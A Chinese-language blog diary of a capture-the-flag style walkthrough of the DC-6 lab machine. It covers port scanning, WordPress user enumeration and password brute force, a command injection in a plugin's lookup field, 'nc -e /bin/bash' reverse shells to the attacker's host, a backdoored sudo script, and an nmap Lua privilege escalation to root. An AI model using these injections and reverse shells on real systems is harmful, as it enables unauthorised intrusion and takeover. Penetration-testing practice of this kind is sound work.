dc-6打靶日记

1. nmap扫描

1.1 确认目标ip地址

通过开关靶机测量当前网段存活的机器确定IP地址,也可以直接通过MAC地址的表示来确定IP地址。

1
sudo nmap -sN 192.168.31.0/24

image-20240530182956229

目标ip地址:192.168.31.230

1.2 目标开放TCP端口

1
sudo nmap -sT --min-rate 10000 -p- 192.168.31.230 -oA nmapscan/tcpports

image-20240530183421790

开放端口:22,80

1.3 目标开放UDP端口

1
sudo nmap -sU --top-ports 20 192.168.31.230 -oA nmapscan/udpports

image-20240530183447588

1.4 开放TCP端口详细信息

1
sudo nmap -sT -sV -sC -O -p22,80 192.168.31.230 -oA nmapscan/tcpports_Detail

image-20240530183639570

能够得到的信息有:

端口80:apache/2.4.25;操作系统信息Linux 3.2-4.9

端口22:openSSH 7.4p1

1.5 nmap漏洞扫描

1
sudo nmap -script=vuln -p22,80 192.168.31.230 -oA nmapscan/vuln

image-20240530183852256

扫到的一些有用的信息:

Wordpress版本、wordpress登录界面、以及用户名(admin、graham、mark、sarah、jens)

2. 信息检索

2.1 http页面

访问80端口开启的http服务,发现进行了重定向,尝试修改hosts文件

image-20240530193331864

通过向hosts文件添加以下内容来绕过重定向

1
192.168.31.230	wordy

image-20240530193547300

ok,成功绕过了,然后我们获取一下一些有用的信息。

image-20240530193815257

这里,它一直在强调wordy插件安全的重要性,似乎就是想告诉我们它的插件并不安全,可以想办法利用插件的漏洞进行getshell

image-20240530193916527

通过工具查询到了相应的指纹确认该网页使用了WordPressCMS,查看这方面的漏洞.

2.2 目录爆破

  • gobuster目录爆破
1
sudo gobuster dir -u http://192.168.31.230 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20240530203320567

/wp-content
/wp-includes
/wp-admin

  • dirsearch目录爆破
1
dirsearch -u http://192.168.31.230 -x400-500 -t4

image-20240530210327316

http://192.168.31.230/index.php
http://192.168.31.230/license.txt
http://192.168.31.230/readme.html
http://192.168.31.230/wp-admin
http://192.168.31.230/wp-admin/install.php
http://192.168.31.230/wp-config.php
http://192.168.31.230/wp-content/
http://192.168.31.230/wp-cron.php
http://192.168.31.230/wp-includes
http://192.168.31.230/wp-login.php
http://192.168.31.230/wp-signup.php

  • dirb目录爆破
1
dirb http://192.168.31.230 -r

image-20240530210849084

经过三轮的目录扫描最终得到的总目录连接如下:

http://192.168.31.230/index.php
http://192.168.31.230/license.txt
http://192.168.31.230/readme.html
http://192.168.31.230/wp-admin
http://192.168.31.230/wp-admin/install.php
http://192.168.31.230/wp-config.php
http://192.168.31.230/wp-content/
http://192.168.31.230/wp-cron.php
http://192.168.31.230/wp-includes
http://192.168.31.230/wp-login.php
http://192.168.31.230/wp-signup.php

2.3 后台爆破

对于WordPress有一个专门列举用户名的工具wpscan,我们可以通过它来列举出可以爆破的用户名,然后记录下来,进行相应的爆破;

image-20240531180041643

根据上述的结果可知存在的用户名有:

admin

sarah

graham

mark

jens

将上述的用户名写入到一个字典中,用于后续的用户名密码爆破。在kali自带的字典库中存在一个专门用于密码爆破的字典rockyou.txt(用这个密码字典啊,破两天估计都破不完,我们不这么弄了,换个方法吧),我们将其复制一份到当前目录用户密码爆破,然后使用该字典通过wpscan爆破密码

1
2
cp  /usr/share/wordlists/rockyou.txt password.txt
wpscan --url http://wordy/ -U username.txt -P password.txt

我依稀记得之前打DC-2的时候用过一个东西叫做cerl,我们用它生成一个密码字典试试,不行再说;

1
cewl http://wordy/ -w cerl_password.txt

image-20240531181502348

使用通过该方式生成的字典在进行一次用户名密码爆破尝试

1
wpscan --url http://wordy/ -U username.txt -P cerl_password.txt

image-20240531182309905

好吧,没办法,可以先试试其他的字典,那个rockyou.txt字典实在是有点大了,如果其他密码字典也不行再去试试它把;最后确实没辙,跑rockyou.txt跑不出来,跑其他的也跑不出来,最后发现人家作者给了提示!

image-20240531183242453

按着作者给的提示的方法创建字典,再进行用户名和密码的爆破。

1
2
cat /usr/share/wordlists/rockyou.txt | grep k01 > k01_password.txt
wpscan --url http://wordy/ -U username.txt -P k01_password.txt

image-20240531184459519

终于好了,经过作者的提示我们也是成功的获得了登录后台管理系统的用户名和密码

username:mark

password:helpdesk01

image-20240531184632537

2.4 后台信息获取

在DC系列靶机中,来到后台一般离拿到webshell权限都只有一步了,想办法找能够执行命令反弹shell的点就好了

image-20240531185643592

发现该WordPress系统使用了Activity monitor工具(也可以理解为插件),通过searchsploit扫描是能够扫到相应的漏洞的

1
searchsploit WordPress Activity monitor

image-20240531185822013

除此之外还在该工具上发现了一个比较奇怪的工具,似乎有一定的功能,但是不知道是什么玩意,可以用burpsuite抓包看看。

image-20240531190202979

经过尝试,在Convert按钮的处理中似乎并不存在什么安全问题,而是下面的Lookup按钮存在安全问题,它说:“如果dig在web服务器上安装了,那也可以被用作搜索”,似乎是指会搜索相应内容的意思,通过执行一些命令进行尝试,发现并没有解析什么ip地址或者域名啥的,但是通过并列执行后发现,似乎可以进行命令执行,当在这里输入

1
yahu.com|ls

然后执行Lookup发现可以进行命令执行

image-20240531191335612

在进行一下简单的尝试后,发现跟其他都没什么关系,只有前面那部分存在一个.,不管后面是什么都会进行执行,尝试进行反弹shell

在攻击机监听5555端口,然后使用目标机进行命令执行反弹shell

1
nc -lvvp 5555
1
.|nc -e /bin/bash 192.168.31.221 5555

不巧的是,发现具有长度限制,哎,抓个包看看能不能该发送的内容呗,因为没有发现就已经不让输入了,大概率是前端检测,抓包应该能修改发送的数据。

image-20240531191654988

image-20240531191810226

ok成功登录,webshell拿下了,剩下又是提权的问题了,再次之前先通过命令开启一下互动终端

1
python -c "import pty;pty.spawn('/bin/bash')"

image-20240531192046061

好了这回是真没问题了,继续吧!

3. 提权

3.1 命令提权

先查一下看看有没有什么命令可以用来提权的

1
find / -perm -u=s -type f 2>/dev/null

image-20240531192316107

有一个似乎可以用来提权mount,但这个大概率都无法成功,先试试吧;

image-20240531192418364

ok,没有问题,毫无疑问的失败了,找找看有没有别的办法提权吧

3.2 信息收集

怎么说呢,这个过程无聊且繁琐,但是确实是一定要经历的。你就每个目录都翻,你觉得重要的就翻,我觉得重要的就是每个人的用户,都翻翻;

最后在mark用户的目录下的stuff文件中翻到了他的备忘录吧应该是,然后发现它建立了一个用户,而且写上了用户名和密码

image-20240531193028135

username: graham

password: GSo7isUM1D4

通过命令直接登录graham用户

1
su graham

image-20240531194351342

查看是否存在具有可用于提权的命令

1
sudo -l

image-20240531194450684

提权命令没发现,但是发现了一个无密码用户jens,由于无密码是无法登录jens的,但是它说jens具有执行backups.sh的权利

那我们尝试去执行一下那个脚本,之前通过信息搜集也看到过那个脚本,但是里面是一个解压命令,就没太过关注

image-20240531194714401

尝试执行一下这个脚本,权限不够,那是因为没有通过jens去执行这个脚本

image-20240531194802267

通过使用sudo命令通过jens身份去执行这个脚本

1
sudo -u jens ./backups.sh

image-20240531195329869

确实可以执行该脚本,那么我们具有jens身份执行的脚本,那如果我们将其中的命令修改为反弹shell的脚本,那我们就可以登录jens用户,说干就干,写入命令

1
echo "nc -e /bin/bash 192.168.31.221 22222" > backups.sh

image-20240531195602560

攻击机监听对应的端口号

1
nc -lvvp 22222

再次以jens身份执行脚本

1
sudo -u jens ./backups.sh

image-20240531195723341

ok,成功反弹shell,没有问题,再启动互动终端,纯为了好看

1
python -c "import pty;pty.spawn('/bin/bash')"

image-20240531195830648

再次查看有没有什么可以用来提权的命令

1
sudo -l

image-20240531195910901

这次没问题了,真有可以用来提权的命令,提权启动

1
2
echo 'os.execute("/bin/sh")' >/tmp/.123
sudo nmap --script=/tmp/.123

image-20240531200116191

提权成功,下班!不行不行,在找个flag先

1
find / -name *flag*

image-20240531200218727

okok,这回是真下班了!

4. 总结

  1. 爆破真的是一项大工程,可能由于字典很大没法进行,所以爆破不出来可能只是字典的原因罢了
  2. 提权方法千千万,善于利用信息才好办,多找信息,多找方法,最终估计还得命令提权
  3. 后台系统找命令执行很重要,怎么拿到一个webshell确实很重要
  4. 可以通过别的用户权限的可执行文件去切换用户或者提权

dc-6打靶日记
http://candyb0x.github.io/2024/05/31/dc-6打靶日记/
作者
Candy
发布于
2024年5月31日
更新于
2024年5月31日
许可协议